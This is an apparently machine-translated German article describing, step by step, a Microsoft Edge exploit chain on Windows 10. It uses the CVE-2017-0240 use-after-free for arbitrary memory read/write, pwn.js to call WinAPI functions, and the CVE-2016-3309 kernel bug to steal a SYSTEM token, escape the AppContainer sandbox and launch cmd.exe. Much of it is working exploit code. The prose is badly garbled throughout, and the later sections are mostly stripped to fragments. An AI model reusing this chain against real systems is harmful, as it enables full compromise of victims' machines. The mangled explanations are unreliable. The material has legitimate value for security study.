Microsoft Edge von CVE zu RCE unter Windows 10

Intro


Im Rahmen dieses Artikels werden wir den Prozess des Schreibens eines Exploits für eine Sicherheitsanfälligkeit in Microsoft Edge mit dem anschließenden Beenden der Sandbox ausreichend detailliert betrachten. Wenn Sie wissen möchten, wie dieser Prozess aussieht, begrüßen Sie unter cat!


Einführung


Spätestens Pwn2Own 2019 in Montreal wurde in der Kategorie Browser ein Exploit zum Hacken von Microsoft Edge demonstriert . Hierfür wurden zwei Sicherheitsanfälligkeiten verwendet: double free im Renderer und eine logische Sicherheitsanfälligkeit beim Beenden der Sandbox. Diese beiden Sicherheitsanfälligkeiten wurden kürzlich geschlossen und mit dem entsprechenden CVE : CVE-2019-0940 und CVE-2019-0938 . Weitere Informationen zu Sicherheitslücken finden Sie im Blog: Pwn2Own 2019: Microsoft Edge Renderer Exploitation (CVE-2019-0940). Teil 1 und Pwn2Own 2019: Microsoft Eedge Sandbox Escape (CVE-2019-0938). Teil 2 .


Als Teil unseres Artikels möchten wir am Beispiel eines Microsoft Edge unter Windows 10 Verwendung von CVE-2017-0240 und CVE-2016-3309 zeigen, wie ein solcher Exploit geschrieben wird und wie viel Zeit und Ressourcen dafür benötigt werden. Einer der Unterschiede besteht darin, dass in unserem Szenario die Sicherheitsanfälligkeit im Windows 10 Kernel zum Beenden der Sandbox verwendet wird, wenn der in Pwn2Own demonstrierte Exploit eine logische Sicherheitsanfälligkeit zum Beenden der Sandbox verwendet hat. Wie Patches von Microsoft zeigen, gibt es im Kernel viel mehr Schwachstellen als Schwachstellen bei der Implementierung der Sandbox. Infolgedessen ist es viel wahrscheinlicher, dass eine solche Kette von Schwachstellen auftritt, und es ist nützlich, dies für IS-Mitarbeiter in Unternehmen zu wissen.


Ausgangsdaten


Dieser Artikel behandelt den Prozess des Schreibens eines eintägigen Exploits für den Microsoft Edge Browser. CVE-2017-0240 wird betrieben. Die erste Phase des Betriebs basiert auf Materialien aus der Quelle [1], wir erhalten ein arbitrary address read/write und lernen verschiedene Techniken kennen, die bei der Ausnutzung solcher Schwachstellen hilfreich sein können. Als Nächstes stellen wir Ihnen das Tool pwn.js , mit dem Sie beliebige Funktionen aufrufen können, die auf willkürlichem Lesen und Schreiben basieren, und die verschiedene mitigations und Möglichkeiten zur Umgehung dieser Funktionen berücksichtigen. In der letzten Phase wird die Windows CVE-2016-3309 Kernel-Sicherheitsanfälligkeit ausgenutzt, um die Berechtigungen zu erhöhen, AppContainer Einschränkungen zu umgehen und die vollständige Kontrolle über den angegriffenen Computer zu erlangen.


Der Betrieb wird am Stand mit Microsoft Windows 10 Pro 1703 (10.0.15063) und dem Microsoft Edge (40.15063.0.0) Browser Microsoft Edge (40.15063.0.0) .


Schritt 1. Erhalten eines arbitrary address read/write eine arbitrary address read/write


Beschreibung der Sicherheitsanfälligkeit und des Erhaltens von OOB


In der copyFromChannel- Methode des Audio Buffer- Objekts use-after-free eine Sicherheitsanfälligkeit vom Typ use-after-free vorhanden.


AudioBuffer ist die Schnittstelle eines kurzen Audio-Assets im Speicher, das aus einer Audiodatei mit der Methode AudioContext.decodeAudioData () oder aus den Quelldaten mit der Methode AudioContext.createBuffer () erstellt wurde. In AudioBuffer platzierte Audiodaten können in AudioBufferSourceNode wiedergegeben werden.

Die Präsentation von The Advanced Exploitation of 64-bit Edge Browser Use-After-Free Vulnerability on Windows 10 bietet eine detaillierte Analyse der Sicherheitsanfälligkeit und des Patches. Wenn die copyFromChannel Methode copyFromChannel , wird der Inhalt des copyFromChannel in den durch das erste Argument angegebenen copyFromChannel kopiert. Die Methode akzeptiert auch die Kanalnummer ( channelNumber ) und den Offset im startInChannel ( startInChannel ), ab dem kopiert werden muss. Vor dem direkten Kopieren von Daten zum destination in der Funktion CDOMAudioBuffer::Var_copyFromChannel der CDOMAudioBuffer::Var_copyFromChannel zwischengespeichert (die Adresse und Größe des Puffers werden in lokalen Funktionsvariablen auf dem Stapel gespeichert) und die channelNumber und startInChannel werden in den Typ Int startInChannel , für den die valueOf Methode der konvertierten Objekte aufgerufen wird. Die Sicherheitsanfälligkeit besteht darin, dass ein zwischengespeicherter Puffer zum Zeitpunkt der Typkonvertierung in der überschriebenen Methode des valueOf Objekts valueOf kann. Zur Überprüfung verwenden wir den folgenden Code:


 // ,     var t2 = new Float32Array(0x20000); var ta = new Uint8Array(t2.buffer); for (i=0;i<t2.length;i++) t2[i] = 0x66; var myctx = new AudioContext(); var audioBuf = myctx.createBuffer(1, 0x25, 22050); //   -   var t = audioBuf.getChannelData(0); var ta2 = new Uint8Array(t.buffer); for(i=0;i<ta2.length;i++) ta2[i]=0x55; //     valueOf var obj = { valueOf: function () { //   var worker = new Worker('worker.js'); worker.postMessage(0, [t2.buffer]); worker.terminate(); worker = null; //    sleep(1000); return 0; } }; //   audioBuf.copyFromChannel(t2, obj, 0); 

Dieser Code verwendet die Web Workers Technologie, um den Puffer freizugeben. Nachdem wir einen leeren Worker , können wir ihm mithilfe der postMessage Methode eine Nachricht senden. Das zweite optionale transfer dieser Methode verwendet ein Array Transferable Objekte ( ArrayBuffer , MessagePost oder ImageBitmap ). Die Rechte an dem Objekt werden an Worker und das Objekt ist im aktuellen Kontext nicht mehr verfügbar, sodass es gelöscht werden kann. Danach erfolgt ein Aufruf zum sleep - eine Funktion, die die Ausführung eines Programms vorübergehend stoppt (sie wird unabhängig implementiert). Dies ist erforderlich, damit das Garbage Collection-System ( GC , Garbage Collector ) den Puffer freigeben kann, dessen Rechte übertragen wurden.


Web Worker bieten eine einfache Möglichkeit, Skripte im Hintergrundthread auszuführen. Worker-Thread kann Aufgaben ausführen, ohne die Benutzeroberfläche zu beeinträchtigen. Darüber hinaus können sie E / A mit XMLHttpRequest ausführen (obwohl die Attribute responseXML und channel immer null sind). Ein vorhandener Worker kann über den in diesem Code angegebenen Ereignishandler JavaScript-Nachrichten an den Erstellercode senden (und umgekehrt).

Wenn Sie diesen Code in Edge unter dem Debugger ausführen, kann der folgende Absturz auftreten.


Schritt 01 bemerkt


Infolgedessen versucht der Aufruf von copyFromChannel , den Inhalt des copyFromChannel in den nicht zugewiesenen Speicherbereich zu kopieren. Um die Sicherheitsanfälligkeit auszunutzen, müssen alle Objekte in diesem Speicherbereich zugeordnet werden. In diesem Fall ist das Array-Segment perfekt.


Arrays in Chakra (die im Edge Browser verwendete JS Engine) sind wie folgt angeordnet: Das Array-Objekt hat eine feste Größe, die Zeiger auf die Array-Objekte (oder Werte im Fall von IntArray ) werden in einem separaten Speicherbereich gespeichert - dem Segment, dessen Zeiger im Objekt enthalten ist Array. Der Segmentheader enthält verschiedene Informationen, einschließlich der Größe des Segments, die der Größe des Arrays entspricht. Die Größe des Arrays ist auch im Array-Objekt selbst vorhanden. Schematisch sieht es so aus:


Array-struktur


Wenn es uns also gelingt, das Array-Segment im zuvor freigegebenen Bereich auszuwählen, können wir den Header des Array-Segments mit dem Inhalt des Audiopuffers überschreiben. Dazu ändern wir den obigen Code, indem wir nach dem sleep(1000); die folgenden Zeilen hinzufügen sleep(1000); ::


 ... /*        ,    .   arr        */ arr = new Array(128); for(var i = 0; i < arr.length; i++) { arr[i] = new Array(0x3ff0); for(var j = 0; j < arr[i].length; j++) arr[i][j] = 0x30303030; } ... 

Die Größe der Arrays wird so ausgewählt, dass die Größe des Arraysegments das gesamte Heap-Segment einnimmt (das minimale unteilbare Stück Heap-Speicher, dessen Größe 0x10000 Byte beträgt). Führen Sie diesen Code aus und geben Sie die memcpy Funktion als Haltepunkt an (es werden viele memcpy Aufrufe ausgeführt, daher ist es sinnvoll, zuerst bei edgehtml!WebCore::AudioBufferData::copyBufferData ), in dem der Absturz aufgetreten ist. Wir erhalten folgendes Ergebnis:


Schritt 02


Großartig! Jetzt können wir den Header des Array-Segments mit unseren eigenen Werten überschreiben. Die interessantesten Werte in diesem Fall sind die Größe des Arrays, deren Versatz wir im obigen Screenshot sehen können. Ändern Sie den Inhalt des Audiopuffers wie folgt:


 ... var t = audioBuf.getChannelData(0); var ta2 = new Uint32Array(t.buffer); ta2[0] = 0; ta2[1] = 0; ta2[2] = 0xffe0; ta2[3] = 0; ta2[4] = 0; ta2[5] = 0; ta2[6] = 0xfba6; ta2[7] = 0; ta2[8] = 0; ta2[9] = 0x7fffffff - 2; ta2[10] = 0x7fffffff; ta2[11] = 0; ta2[12] = 0; ta2[13] = 0; ta2[14] = 0x40404040; ta2[15] = 0x50505050; ... 

ta2[14] auf die Werte von ta2[14] und ta2[15] - sie beziehen sich bereits nicht auf den ta2[15] , sondern auf die Array-Werte selbst. Damit können wir das Array, das wir im globalen arr Array benötigen, wie folgt bestimmen:


 ... for(var i = 0; i < arr.length; i++) { if(arr[i][0] == 0x40404040 && arr[i][1] == 0x50505050) { alert('Target array idx: ' + i); target_idx = i; target_arr = arr[i]; break; } } 

Wenn als Ergebnis ein Array gefunden wurde, dessen erste beiden Elemente auf bestimmte Weise geändert wurden, ist alles in Ordnung. Jetzt haben wir ein Array, dessen Segmentgröße größer ist als es tatsächlich ist. Die restlichen Arrays können freigegeben werden.


Hierbei ist zu beachten, dass die Größe des Arrays in zwei Entitäten vorhanden ist: im Array-Objekt, in dem es unverändert blieb, und im Array-Segment, in dem wir es vergrößert haben. Es stellt sich heraus, dass die Größe im Array-Objekt ignoriert wird, wenn der Code im JIT Modus ausgeführt und optimiert wurde. Dies ist beispielsweise wie folgt leicht zu erreichen:


 function arr_get(idx) { return target_arr[idx]; } function arr_set(idx, val) { target_arr[idx] = val; } for(var i = 0; i < 0x3ff0; i++) { arr_set(i, arr_get(i)); } 

Danach können Sie mit den arr_set arr_get und arr_set die Grenzen des Arrays überschreiten ( OOB , out-of-bound ).


Verwenden von OOB , um das Grundelement Lesen und Schreiben an eine beliebige Adresse zu übertragen


In diesem Abschnitt betrachten wir eine Technik, mit der Sie mit OOB eine beliebige Adresse lesen und schreiben können. Die Methode, mit der wir dies erhalten, wird der in der Quelle [1] verwendeten ähnlich sein, es wird jedoch auch signifikante Änderungen geben.


In der verwendeten Version von Edge Speicherblöcke für den Heap nacheinander zugewiesen, wodurch sie beim Zuweisen einer großen Anzahl von Objekten früher oder später nach dem Arraysegment angezeigt werden, über das wir hinausgehen können.


Erstens können wir einen Zeiger auf eine virtuelle Tabelle von Objektmethoden ( vftable ) vftable , um die Randomisierung des Prozessadressraums ( ASLR ) zu umgehen. Aber der Zugriff auf welche Objekte hilft uns, willkürliches Lesen und Schreiben zu erreichen? Einige DataView Objekte eignen sich hervorragend dafür.


Die DataView bietet eine einfache Schnittstelle zum Lesen und Schreiben mehrerer numerischer Typen in einem binären ArrayBuffer, unabhängig von der Reihenfolge der Plattformbytes.

Die interne Struktur der DataView enthält einen Zeiger auf einen Puffer. Zum Lesen und Schreiben an eine beliebige Adresse können wir beispielsweise eine Kette von zwei DataView ( dv1 und dv2 ) wie folgt dv1 : dv1 als dv1 Puffer die Adresse dv2 indem Sie auf das Array zugreifen. Mit dv1 wir nun die Adresse des dv2 Puffers dv2 , wodurch willkürliches Lesen und Schreiben erreicht wird. Schematisch kann dies wie folgt dargestellt werden:


Beliebige Adresse lesen / schreiben


Um diese Methode verwenden zu können, müssen Sie lernen, wie Sie die Adressen von Objekten im Speicher ermitteln. Dazu gibt es die folgende Technik: Sie müssen ein neues Array erstellen, mit OOB dessen vftable und typeId (die ersten beiden 64-Bit-Felder der Struktur) vftable und das Objekt, für das die Adresse von Interesse ist, dem ersten Element des Arrays zuweisen. Anschließend müssen Sie die zuvor gespeicherten typeId vftable und typeId wiederherstellen. Nun kann das Junior- und Senior-Doppelwort der Objektadresse erhalten werden, indem auf das erste und zweite Element des Arrays Bezug genommen wird. Tatsache ist, dass das neue Array standardmäßig IntArray ist und 4-Byte-Werte des Arrays IntArray in seinem Segment gespeichert werden. Wenn Sie einem Array ein Objekt zuweisen, wird das Array in ein ObjectArray konvertiert und in seinem Segment werden die Adressen der Objekte gespeichert. Die Konvertierung ändert vftable und typeId . Wenn wir also die ursprünglichen Werte vftable und typeId wiederherstellen, können wir über die Elemente dieses Arrays direkt auf das Segment zugreifen. Der schematisch beschriebene Prozess kann wie folgt dargestellt werden:


Zeigerleck


Die Funktion zum Abrufen der Adresse sieht folgendermaßen aus:


 function addressOf(obj) { var hdr_backup = new Array(4); //  vftable  typeId intarr_object for(var i = 0; i < 4; i++) hdr_backup[i] = arr_get(intarr_idx + i); intarr_object[0] = obj; //  vftable  typeId intarr_object for(var i = 0; i < 4; i++) arr_set(intarr_idx + i, hdr_backup[i]); //         return [intarr_object[0], intarr_object[1]]; } 

Eine offene Frage bleibt die Erstellung der notwendigen Objekte und deren Suche mit OOB . Wie bereits erwähnt, werden sie beim Zuweisen einer großen Anzahl von Objekten früher oder später nach dem Array-Segment hervorstechen, über das wir hinausgehen können. Um die erforderlichen Objekte zu finden, müssen Sie nur die Indizes außerhalb des Arrays durchsuchen, um nach den erforderlichen Objekten zu suchen. Weil Alle Objekte desselben Typs befinden sich in einem Segment des Heapspeichers. Sie können die Suche optimieren und die Segmente des 0x10000 in Schritten von 0x10000 und nur die ersten Werte ab dem Beginn jedes Segments des 0x10000 überprüfen. Um Objekte zu identifizieren, können Sie ihnen eindeutige Werte für einige Parameter festlegen (z. B. für DataView kann dies byteOffset ) oder mithilfe der bereits bekannten Konstanten in der Struktur des Objekts (in der verwendeten Version von Edge in IntArray wird der Wert 0x10005 immer bei 0x18 ).


Durch Kombinieren aller oben genannten Techniken können Sie lesen und an eine beliebige Adresse schreiben. Unten finden Sie einen Screenshot zum Lesen von DataView Speicherobjekten.


Speherherverlust


Schritt 2. Ausführen beliebiger API-Funktionen


Zu diesem Zeitpunkt konnten wir bei der Anzeige von Edge Inhalten an eine beliebige Adresse lesen und schreiben. Berücksichtigen Sie die wichtigsten Technologien, die den weiteren Betrieb der Anwendung und ihre Problemumgehungen beeinträchtigen sollten. Wir haben bereits eine kurze Reihe von Artikeln über app specific security mitigation ( Teil 1, Einführung , Teil 2, Internet Explorer und Edge , Teil 3, Google Chrome ). Beachten Sie jedoch, dass Entwickler nicht stillstehen und ihren Produkten neue Tools hinzufügen Schutz.


Adressraum-Randomisierung ( ASLR )


ASLR (English Address Space Layout Randomization) ist eine Technologie, die in Betriebssystemen verwendet wird und die Position wichtiger Datenstrukturen im Prozessadressraum zufällig ändert, nämlich: ausführbare Dateibilder, geladene Bibliotheken, Heaps und stapeln.

Oben haben wir gelernt, die Adressen von virtuellen Klassentabellen zu lesen. Mit ihnen können wir die Basisadresse des Chakra.dll Moduls leicht berechnen, sodass ASLR keine Probleme für den weiteren Betrieb darstellt.


Datenausführungsschutz ( DEP , NX )


Data Execution Prevention (DEP) ist eine in Linux, Mac OS X, Android und Windows integrierte Sicherheitsfunktion, die verhindert, dass eine Anwendung Code aus einem Speicherbereich ausführt, der als "Nur Daten" gekennzeichnet ist. Dadurch werden einige Angriffe verhindert, bei denen beispielsweise Code in einem solchen Bereich mithilfe von Pufferüberläufen gespeichert wird.

Eine Möglichkeit, diesen Schutz zu VirtualAlloc , besteht darin, VirtualAlloc mithilfe von ROP Ketten VirtualAlloc . Im Fall von Edge funktioniert diese Methode jedoch aufgrund von ACG (siehe unten).


Kontrollflussschutz ( CFG )


CFG ist ein Schutzmechanismus, der die Ausnutzung binärer Schwachstellen in Anwendungen im Benutzer- und Kernelmodus erschweren soll. Die Arbeit dieses Mechanismus besteht in der Validierung indirekter Aufrufe, die verhindern, dass ein Angreifer den Ausführungsthread abfängt (z. B. durch Überschreiben der Tabelle der virtuellen Funktionen).

Diese Technologie steuert nur indirekte Aufrufe, z. B. Methodenaufrufe aus der virtuellen Tabelle der Objektfunktionen. Rücksprungadressen auf dem Stapel werden nicht gesteuert, und dies kann zum Erstellen von ROP Ketten verwendet werden. Die zukünftige Verwendung von ROP/JOP/COP Ketten kann durch Intel neue Technologie von Intel behindert werden: die Control-flow Enforcement Technology ( CET ). Diese Technologie besteht aus zwei Teilen:


  1. Shadow Stack (Schattenstapel) - wird zur Steuerung von Rücksprungadressen und zum Schutz vor ROP Ketten verwendet.
  2. Indirect Branch Tracking ist eine Methode zum Schutz vor JOP/COP Ketten. Es ist eine neue ENDBRANCH Anweisung, die alle gültigen Übergangsadressen für call und jmp Anweisungen jmp .

Arbitrary Code Guard ( ACG )


ACG ist eine Technologie, die die dynamische Codegenerierung verhindert (es ist verboten, rwx Speicherbereiche mit VirtaulAlloc ) und deren Änderungen (es ist unmöglich, VirtaulAlloc verfügbaren Speicherbereich als ausführbare Datei VirtaulAlloc ).

Dieser Schutz verhindert wie CFG nicht die Verwendung von ROP Ketten.


AppContainer-Isolierung


AppContainer ist eine Microsoft-Technologie, mit der Sie einen Prozess isolieren können, indem Sie ihn in einer Sandbox-Umgebung ausführen. Diese Technologie beschränkt den Zugriff des Prozesses auf Anmeldeinformationen, Geräte, das Dateisystem, das Netzwerk, andere Prozesse und Fenster und zielt darauf ab, das Potenzial von schädlicher Software zu minimieren, die in der Lage ist, beliebigen Code im Prozess auszuführen.

Dieser Schutz verkompliziert den Betriebsprozess erheblich. Aus diesem Grund können wir keine ausführbaren Dateien von Drittanbietern aufrufen oder auf vertrauliche Benutzerinformationen im Speicher oder auf Datenträgern zugreifen. Dieser Schutz kann jedoch überwunden werden, indem Schwachstellen bei der Implementierung der AppContainer-Sandbox verwendet werden oder indem die Berechtigungen durch Ausnutzen von Schwachstellen im Kernel des Betriebssystems erhöht werden.


Es ist erwähnenswert, dass Microsoft ein separates Belohnungsprogramm für Techniken zur Umgehung von security mitigation hat. Das Programm gibt an, dass die Wiederverwendung von ausführbarem Code (das ROP Ketten ist eine Variation dieser Technik) nicht unter das Programm fällt, da ist ein architektonisches Problem.


Verwenden von pwn.js


Aus einer Analyse aller Sicherheitstechnologien folgt, dass Sie die AppContainer Sandbox umgehen müssen, um beliebigen Code ausführen zu können. In diesem Artikel beschreiben wir eine Methode, die eine Sicherheitsanfälligkeit im Windows Kernel verwendet. In diesem Fall können wir nur JS Code und ROP Ketten verwenden. Das Schreiben eines Exploits für den Kernel mit nur ROP Ketten kann sehr schwierig sein. Um diese Aufgabe zu vereinfachen, finden Sie eine Reihe von Gadgets, mit denen wir die erforderlichen WinAPI Methoden aufrufen können. Glücklicherweise ist dies bereits in der Bibliothek pwn.js implementiert. Wenn Sie nur die read und write für beliebiges Lesen und Schreiben beschrieben haben, erhalten Sie eine praktische API um die erforderlichen WinAPI Funktionen zu finden und aufzurufen. pwn.js bietet auch ein praktisches Tool zum Arbeiten mit 64-Bit-Werten und Zeigern sowie Tools zum Arbeiten mit Strukturen.


Betrachten Sie ein einfaches Beispiel. Im vorherigen Schritt haben wir eine Kette von zwei verwandten DataView . Um den Exploit vorzubereiten, müssen Sie die folgende Klasse erstellen:


 var Exploit = (function() { var ChakraExploit = pwnjs.ChakraExploit; var Integer = pwnjs.Integer; function Exploit() { ChakraExploit.call(this); ... //  arbitrary address read/write    ... // DataView,         this.dv = ...; // DataView,     this.dv this.dv_offset = ...; //    Chakra.dll, ,     var vtable = ...; this.initChakra(vtable); } Exploit.prototype = Object.create(ChakraExploit.prototype); Exploit.prototype.constructor = Exploit; Exploit.prototype.set_dv_address = function(lo, hi) { this.dv_offset.setInt32(0x38, lo, true); this.dv_offset.setInt32(0x3c, hi, true); } Exploit.prototype.read = function (address, size) { this.set_dv_address(address.low, address.high); switch (size) { case 8: return new Integer(this.dv.getInt8(0, true), 0, true); case 16: return new Integer(this.dv.getInt16(0, true), 0, true); case 32: return new Integer(this.dv.getInt32(0, true), 0, true); case 64: return new Integer(this.dv.getInt32(0, true), this.dv.getInt32(4, true), true); } } Exploit.prototype.write = function (address, value, size) { this.set_dv_address(address.low, address.high); switch (size) { case 8: this.dv.setInt8(0, value.low, true); break; case 16: this.dv.setInt16(0, value.low, true); break; case 32: this.dv.setInt32(0, value.low, true); break; case 64: this.dv.setInt32(0, value.low, true); this.dv.setInt32(4, value.high, true); break; } } return Exploit; })(); 

, MessageBoxA :


 function run() { with (new Exploit()) { //alert('Chakra: ' + chakraBase.toString(16)); var MessageBoxA = importFunction('user32.dll', 'MessageBoxA', Int32); var GetActiveWindow = importFunction('user32.dll', 'GetActiveWindow', Int64); var hwnd = GetActiveWindow(); var ret = MessageBoxA(hwnd, new CString('PWNED'), new CString('PWNED'), 0); } } 

:


Pwned


3.


WinAPI . . CVE-2016-3309 . [7] [8], pwn.js [2] , GDI -. [9], [10] [11]. . , . , AppContainer , pwn.js . cmd.exe SYSTEM .


GDI — Windows , , .

, . JS - 64- kernel_read_64 kernel_write_64 , . Windows. BITMAP , . pwn.js . BITMAP , , :


 var BITMAP = new StructType([ ['poolHeader', new ArrayType(Uint32, 4)], // BASEOBJECT64 ['hHmgr', Uint64], ['ulShareCount', Uint32], ['cExclusiveLock', Uint16], ['BaseFlags', Uint16], ['Tid', Uint64], ['dhsurf', Uint64], ['hsurf', Uint64], ['dhpdev', Uint64], ['hdev', Uint64], ['sizlBitmap', SIZEL], ['cjBits', Uint32], ['pvBits', Uint64], ['pvScan0', Uint64], ]); 

Tid KTHREAD , , , EmpCheckErrataList , . , :


 ... var nt_EmpCheckErrataList_ptr = worker_bitmap_obj.Tid.add(0x2a8); var nt_EmpCheckErrataList = kernel_read_64(nt_EmpCheckErrataList_ptr); /* g_config   ,         empCheckErrataList  WinDbg        : ? nt!EmpCheckErrataList - nt */ var ntoskrnl_base_address = nt_EmpCheckErrataList.sub( g_config.nt_empCheckErrataList_offset); ... 

, AppContainer . AppContainer IsPackagedProcess ( Process Environment Block , PEB ), . Access Token , AppContainer . Access Token , . Access Token , . EPROCESS ActiveProcessLinks , . PEB EPROCESS . PsInitialSystemProcess , , ActiveProcessLinks .


Edge : , Edge . SYSTEM . , , winlogon.exe .


pwn.js :


 //  PEB   var pinfo = _PROCESS_BASIC_INFORMATION.Ptr.cast(malloc(_PROCESS_BASIC_INFORMATION.size)); var pinfo_sz = Uint64.Ptr.cast(malloc(8)); NtQueryInformationProcess(GetCurrentProcess(), 0, pinfo, _PROCESS_BASIC_INFORMATION.size, pinfo_sz); var peb = pinfo.PebBaseAddress; /*    IsPackagedProcess       peb   char * */ var bit_field = peb[3]; bit_field = bit_field.xor(1 << 4); peb[3] = bit_field; /*             WinDbg    .     : dt ntdll!_EPROCESS uniqueprocessid token activeprocesslinks           */ var ActiveProcessLinks = system_eprocess.add( g_config.ActiveProcessLinksOffset); var current_pid = GetCurrentProcessId(); var current_eprocess = null; var winlogon_pid = null; // winlogon.exe -  ,     cmd.exe var winlogon = new CString("winlogon.exe"); var image_name = malloc(16); var system_pid = kernel_read_64(system_eprocess.add( g_config.UniqueProcessIdOffset)); while(!current_eprocess || !winlogon_pid) { var eprocess = kernel_read_64(ActiveProcessLinks).sub( g_config.ActiveProcessLinksOffset); var pid = kernel_read_64(eprocess.add( g_config.UniqueProcessIdOffset)); //        //   Uint64.store( image_name.address, kernel_read_64(eprocess.add(g_config.ImageNameOffset)) ); Uint64.store( image_name.address.add(8), kernel_read_64(eprocess.add(g_config.ImageNameOffset + 8)) ); //   winlogon.exe    if(_stricmp(winlogon, image_name).eq(0)) { winlogon_pid = pid; } if (current_pid.eq(pid)) { current_eprocess = eprocess; } //        ActiveProcessLinks = eprocess.add( g_config.ActiveProcessLinksOffset); } //     var sys_token = kernel_read_64(system_eprocess.add(g_config.TokenOffset)); //          //   winlogon.exe var pi = malloc(24); memset(pi, 0, 24); var si = malloc(104 + 8); memset(si, 0, 104 + 8); Uint32.store(si.address, new Integer(104 + 8)); var args = WString("cmd.exe"); var AttributeListSize = Uint64.Ptr.cast(malloc(8)); InitializeProcThreadAttributeList(0, 1, 0, AttributeListSize); var lpAttributeList = malloc(AttributeListSize[0]); Uint64.store( si.address.add(104), lpAttributeList ); InitializeProcThreadAttributeList(lpAttributeList, 1, 0, AttributeListSize) var winlogon_handle = Uint64.Ptr.cast(malloc(8)); //       kernel_write_64(current_eprocess.add(g_config.TokenOffset), sys_token); /*        AppContainer,       winlogon.exe         winlogon.exe */ winlogon_handle[0] = OpenProcess(PROCESS_ALL_ACCESS, 0, winlogon_pid); UpdateProcThreadAttribute(lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, winlogon_handle, 8, 0, 0); CreateProcess(0, args, 0, 0, 0, EXTENDED_STARTUPINFO_PRESENT, 0, 0, si, pi); 

:


Finale


YouTube , Microsoft Edge.


Zusammenfassung


:


  • , Edge Windows , 13 , CVE-2017-0240 , . CVE-2016-3309 .
  • JS
  • 666 JS
  • : cmd.exe SYSTEM ,

, , . , , . .


Material


  1. Liu Jin — The Advanced Exploitation of 64-bit Edge Browser Use-After-Free Vulnerability on Windows 10
  2. Andrew Wesie, Brian Pak — 1-Day Browser & Kernel
    Exploitation
  3. Natalie Silvanovich — The ECMA and the Chakra. Hunting bugs in the Microsoft Edge Script Engine
  4. Natalie Silvanovich — Your Chakra Is Not Aligned. Hunting bugs in the Microsoft Edge Script Engine
  5. phoenhex team — cve-2018-8629-chakra.js
  6. Quarkslab — Exploiting MS16-145: MS Edge TypedArray.sort Use-After-Free (CVE-2016-7288)
  7. Exploiting MS16-098 RGNOBJ Integer Overflow on Windows 8.1 x64 bit by abusing GDI objects
  8. Siberas — Kernel Exploitation Case Study — "Wild" Pool Overflow on Win10 x64 RS2 (CVE-2016-3309 Reloaded)
  9. Saif El-Sherei — Demystifying Windows Kernel Exploitation by Abusing GDI Objects
  10. Diego Juarez — Abusing GDI for ring0 exploit primitives
  11. Nicolas A. Economou — Abusing GDI for ring0 exploit
    primitives: Evolution
  12. pwn.js

Source: https://habr.com/ru/post/de455594/


All Articles